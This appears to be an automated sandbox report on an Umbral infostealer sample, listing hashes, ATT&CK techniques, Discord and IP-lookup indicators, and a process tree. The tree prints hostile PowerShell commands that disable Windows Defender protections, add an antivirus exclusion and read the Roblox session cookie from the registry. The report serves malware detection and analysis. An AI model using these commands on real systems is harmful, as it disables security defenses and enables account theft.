umbral | 5c14655f524f959b7cf27da32d3994e63329a5ad86e7e1bc98fe08a641ad9234

Analysis

max time kernel
28s
max time network
30s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
04-03-2024 15:28

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General

Target

Impact.exe
Size

6.3MB
MD5

eb0e04cc115c3dbae1a4c72872403c36
SHA1

b8ad299c7b5dd2457aab50670e34061e093fd55d
SHA256

5c14655f524f959b7cf27da32d3994e63329a5ad86e7e1bc98fe08a641ad9234
SHA512

ca155aced689e5d0494709edea775db5b17b06027569dba9f6e1ef1370abeb57952c55740e92090ed8186363e48f119c64eb1a84267a642aba725da1a0073e89
SSDEEP

98304:nB38757d1xzB92ETr/SG/e6ML0kySVPziZ42xBTBcSn7JNXjEFsZg5co:Bs7D1xH3/SG/KL0fSNmZ9xhBj7zzes6B

Score

10^/10

umbral spyware stealer

Malware Config

Signatures

Detect Umbral payload 3 IoCs

resource	yara_rule
behavioral1/files/0x000800000001db2a-4.dat	family_umbral
behavioral1/memory/3040-11-0x0000000000400000-0x0000000000A54000-memory.dmp	family_umbral
behavioral1/memory/3224-12-0x000001E49B270000-0x000001E49B2B0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1904519900-954640453-4250331663-1000\Control Panel\International\Geo\Nation	Impact.exe

Executes dropped EXE 1 IoCs

pid	Process
3224	251261.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
35	discord.com
36	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
32	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1868	wmic.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
3216	powershell.exe
3216	powershell.exe
3216	powershell.exe
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
1516	powershell.exe
1516	powershell.exe
1516	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3224	251261.exe
Token: SeDebugPrivilege	1908	powershell.exe
Token: SeDebugPrivilege	3004	powershell.exe
Token: SeDebugPrivilege	3216	powershell.exe
Token: SeDebugPrivilege	1992	powershell.exe
Token: SeIncreaseQuotaPrivilege	5048	wmic.exe
Token: SeSecurityPrivilege	5048	wmic.exe
Token: SeTakeOwnershipPrivilege	5048	wmic.exe
Token: SeLoadDriverPrivilege	5048	wmic.exe
Token: SeSystemProfilePrivilege	5048	wmic.exe
Token: SeSystemtimePrivilege	5048	wmic.exe
Token: SeProfSingleProcessPrivilege	5048	wmic.exe
Token: SeIncBasePriorityPrivilege	5048	wmic.exe
Token: SeCreatePagefilePrivilege	5048	wmic.exe
Token: SeBackupPrivilege	5048	wmic.exe
Token: SeRestorePrivilege	5048	wmic.exe
Token: SeShutdownPrivilege	5048	wmic.exe
Token: SeDebugPrivilege	5048	wmic.exe
Token: SeSystemEnvironmentPrivilege	5048	wmic.exe
Token: SeRemoteShutdownPrivilege	5048	wmic.exe
Token: SeUndockPrivilege	5048	wmic.exe
Token: SeManageVolumePrivilege	5048	wmic.exe
Token: 33	5048	wmic.exe
Token: 34	5048	wmic.exe
Token: 35	5048	wmic.exe
Token: 36	5048	wmic.exe
Token: SeIncreaseQuotaPrivilege	5048	wmic.exe
Token: SeSecurityPrivilege	5048	wmic.exe
Token: SeTakeOwnershipPrivilege	5048	wmic.exe
Token: SeLoadDriverPrivilege	5048	wmic.exe
Token: SeSystemProfilePrivilege	5048	wmic.exe
Token: SeSystemtimePrivilege	5048	wmic.exe
Token: SeProfSingleProcessPrivilege	5048	wmic.exe
Token: SeIncBasePriorityPrivilege	5048	wmic.exe
Token: SeCreatePagefilePrivilege	5048	wmic.exe
Token: SeBackupPrivilege	5048	wmic.exe
Token: SeRestorePrivilege	5048	wmic.exe
Token: SeShutdownPrivilege	5048	wmic.exe
Token: SeDebugPrivilege	5048	wmic.exe
Token: SeSystemEnvironmentPrivilege	5048	wmic.exe
Token: SeRemoteShutdownPrivilege	5048	wmic.exe
Token: SeUndockPrivilege	5048	wmic.exe
Token: SeManageVolumePrivilege	5048	wmic.exe
Token: 33	5048	wmic.exe
Token: 34	5048	wmic.exe
Token: 35	5048	wmic.exe
Token: 36	5048	wmic.exe
Token: SeIncreaseQuotaPrivilege	904	wmic.exe
Token: SeSecurityPrivilege	904	wmic.exe
Token: SeTakeOwnershipPrivilege	904	wmic.exe
Token: SeLoadDriverPrivilege	904	wmic.exe
Token: SeSystemProfilePrivilege	904	wmic.exe
Token: SeSystemtimePrivilege	904	wmic.exe
Token: SeProfSingleProcessPrivilege	904	wmic.exe
Token: SeIncBasePriorityPrivilege	904	wmic.exe
Token: SeCreatePagefilePrivilege	904	wmic.exe
Token: SeBackupPrivilege	904	wmic.exe
Token: SeRestorePrivilege	904	wmic.exe
Token: SeShutdownPrivilege	904	wmic.exe
Token: SeDebugPrivilege	904	wmic.exe
Token: SeSystemEnvironmentPrivilege	904	wmic.exe
Token: SeRemoteShutdownPrivilege	904	wmic.exe
Token: SeUndockPrivilege	904	wmic.exe
Token: SeManageVolumePrivilege	904	wmic.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3040 wrote to memory of 3224	3040	Impact.exe	95
PID 3040 wrote to memory of 3224	3040	Impact.exe	95
PID 3224 wrote to memory of 1908	3224	251261.exe	98
PID 3224 wrote to memory of 1908	3224	251261.exe	98
PID 3224 wrote to memory of 3004	3224	251261.exe	101
PID 3224 wrote to memory of 3004	3224	251261.exe	101
PID 3224 wrote to memory of 3216	3224	251261.exe	104
PID 3224 wrote to memory of 3216	3224	251261.exe	104
PID 3224 wrote to memory of 1992	3224	251261.exe	106
PID 3224 wrote to memory of 1992	3224	251261.exe	106
PID 3224 wrote to memory of 5048	3224	251261.exe	108
PID 3224 wrote to memory of 5048	3224	251261.exe	108
PID 3224 wrote to memory of 904	3224	251261.exe	111
PID 3224 wrote to memory of 904	3224	251261.exe	111
PID 3224 wrote to memory of 2004	3224	251261.exe	113
PID 3224 wrote to memory of 2004	3224	251261.exe	113
PID 3224 wrote to memory of 1516	3224	251261.exe	115
PID 3224 wrote to memory of 1516	3224	251261.exe	115
PID 3224 wrote to memory of 1868	3224	251261.exe	117
PID 3224 wrote to memory of 1868	3224	251261.exe	117

C:\Users\Admin\AppData\Local\Temp\Impact.exe
"C:\Users\Admin\AppData\Local\Temp\Impact.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3040
- C:\Users\Admin\AppData\Local\Temp\251261.exe
  "C:\Users\Admin\AppData\Local\Temp\251261.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3224
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\251261.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1908
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3004
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3216
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1992
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5048
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:904
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:2004
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1516
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:1868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
1e74dc9565d69b0f0c68b7cb2e651f21

SHA1
7a28c82a66cb5e48e89fb9fc7b21404012d7cdee

SHA256
4ae197cd60e69b6f024516447d428b5b91a1dd2a2394fd4471cc9f4ef6816281

SHA512
164fd6273410588c7b2d05c73ac966e827ee1c8d34a7b9411c5082013c1f0c44d2ec8df7f927562b16da373bbf1adb238372191e8601dbd890bf0381daedba56

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
dcd83f3a9bd52a6c0821eb961e87f0b9

SHA1
553ced8b5bdca9bf3379571948efe530628e78ea

SHA256
da3851259b355076f41331c3864fdcd7688b05ca312f6fcdb420f710ed7cfeaa

SHA512
fd76f13f1c8f1e73be04a615c9b010dde5cbf889642d187d410db32d4fdda9d0e994654fa468643ed8fe7563c07a8d1df30b2f5b26856946ed9b2d18d10a4fa5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d194c5fef9a9bd80df293476ae23ee88

SHA1
10ad7c44f4d970247d27eb7dc87623db5ed2ad86

SHA256
3e4c4457e7b15372930a42307ab6e0c3744c1e0be6dfe120b8292e13387f15e6

SHA512
0937d3014485a45a314818545c64aac98542b7d0bfab751a98d3b30b399a6e25e6a07fa11d51c691a0e0e34af4b114c21d9955ab4a22abcce928ff38616deb4e

Download Submit
C:\Users\Admin\AppData\Local\Temp\251261.exe

Filesize
229KB

MD5
d157b03dff68f5d1b17cccb3f68892bf

SHA1
d07f6fcaec12643d65208f94c621f9fe919bd22f

SHA256
ba417574f9cc745ad9df7e9a90013fd0b22b578df1d1efd6d76f899f08e6ad96

SHA512
5d19c5474d9cbc26ab9f710e6c7c0e5eed0b937ef2d3cca2d9a2ce847938083895f4492808df804ad43249f02d7c2e35099c38dba648d77beb4546bda670e86f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_svnlm0uh.qkx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1516-113-0x00007FFC8C370000-0x00007FFC8CE31000-memory.dmp

Filesize
10.8MB

Download
memory/1516-111-0x000001C8AFA00000-0x000001C8AFA10000-memory.dmp

Filesize
64KB

Download
memory/1516-100-0x000001C8AFA00000-0x000001C8AFA10000-memory.dmp

Filesize
64KB

Download
memory/1516-99-0x00007FFC8C370000-0x00007FFC8CE31000-memory.dmp

Filesize
10.8MB

Download
memory/1908-27-0x000001E35DCD0000-0x000001E35DCE0000-memory.dmp

Filesize
64KB

Download
memory/1908-32-0x00007FFC8C370000-0x00007FFC8CE31000-memory.dmp

Filesize
10.8MB

Download
memory/1908-29-0x000001E35DCD0000-0x000001E35DCE0000-memory.dmp

Filesize
64KB

Download
memory/1908-28-0x000001E35DCD0000-0x000001E35DCE0000-memory.dmp

Filesize
64KB

Download
memory/1908-25-0x000001E35DE30000-0x000001E35DE52000-memory.dmp

Filesize
136KB

Download
memory/1908-26-0x000001E35DCD0000-0x000001E35DCE0000-memory.dmp

Filesize
64KB

Download
memory/1908-20-0x00007FFC8C370000-0x00007FFC8CE31000-memory.dmp

Filesize
10.8MB

Download
memory/1992-79-0x00007FFC8C370000-0x00007FFC8CE31000-memory.dmp

Filesize
10.8MB

Download
memory/1992-80-0x0000023DF6C50000-0x0000023DF6C60000-memory.dmp

Filesize
64KB

Download
memory/1992-93-0x00007FFC8C370000-0x00007FFC8CE31000-memory.dmp

Filesize
10.8MB

Download
memory/1992-81-0x0000023DF6C50000-0x0000023DF6C60000-memory.dmp

Filesize
64KB

Download
memory/3004-43-0x00007FFC8C370000-0x00007FFC8CE31000-memory.dmp

Filesize
10.8MB

Download
memory/3004-44-0x00000210A1340000-0x00000210A1350000-memory.dmp

Filesize
64KB

Download
memory/3004-47-0x00000210A1340000-0x00000210A1350000-memory.dmp

Filesize
64KB

Download
memory/3004-45-0x00000210A1340000-0x00000210A1350000-memory.dmp

Filesize
64KB

Download
memory/3004-49-0x00007FFC8C370000-0x00007FFC8CE31000-memory.dmp

Filesize
10.8MB

Download
memory/3040-11-0x0000000000400000-0x0000000000A54000-memory.dmp

Filesize
6.3MB

Download
memory/3216-54-0x00007FFC8C370000-0x00007FFC8CE31000-memory.dmp

Filesize
10.8MB

Download
memory/3216-55-0x000001A6E9D30000-0x000001A6E9D40000-memory.dmp

Filesize
64KB

Download
memory/3216-56-0x000001A6E9D30000-0x000001A6E9D40000-memory.dmp

Filesize
64KB

Download
memory/3216-78-0x00007FFC8C370000-0x00007FFC8CE31000-memory.dmp

Filesize
10.8MB

Download
memory/3224-67-0x000001E4B5910000-0x000001E4B5920000-memory.dmp

Filesize
64KB

Download
memory/3224-51-0x000001E4B58B0000-0x000001E4B5900000-memory.dmp

Filesize
320KB

Download
memory/3224-50-0x000001E4B5A20000-0x000001E4B5A96000-memory.dmp

Filesize
472KB

Download
memory/3224-95-0x000001E4B5860000-0x000001E4B586A000-memory.dmp

Filesize
40KB

Download
memory/3224-96-0x000001E4B5890000-0x000001E4B58A2000-memory.dmp

Filesize
72KB

Download
memory/3224-52-0x000001E49CEE0000-0x000001E49CEFE000-memory.dmp

Filesize
120KB

Download
memory/3224-14-0x000001E4B5910000-0x000001E4B5920000-memory.dmp

Filesize
64KB

Download
memory/3224-13-0x00007FFC8C370000-0x00007FFC8CE31000-memory.dmp

Filesize
10.8MB

Download
memory/3224-12-0x000001E49B270000-0x000001E49B2B0000-memory.dmp

Filesize
256KB

Download
memory/3224-53-0x00007FFC8C370000-0x00007FFC8CE31000-memory.dmp

Filesize
10.8MB

Download
memory/3224-118-0x00007FFC8C370000-0x00007FFC8CE31000-memory.dmp

Filesize
10.8MB

Download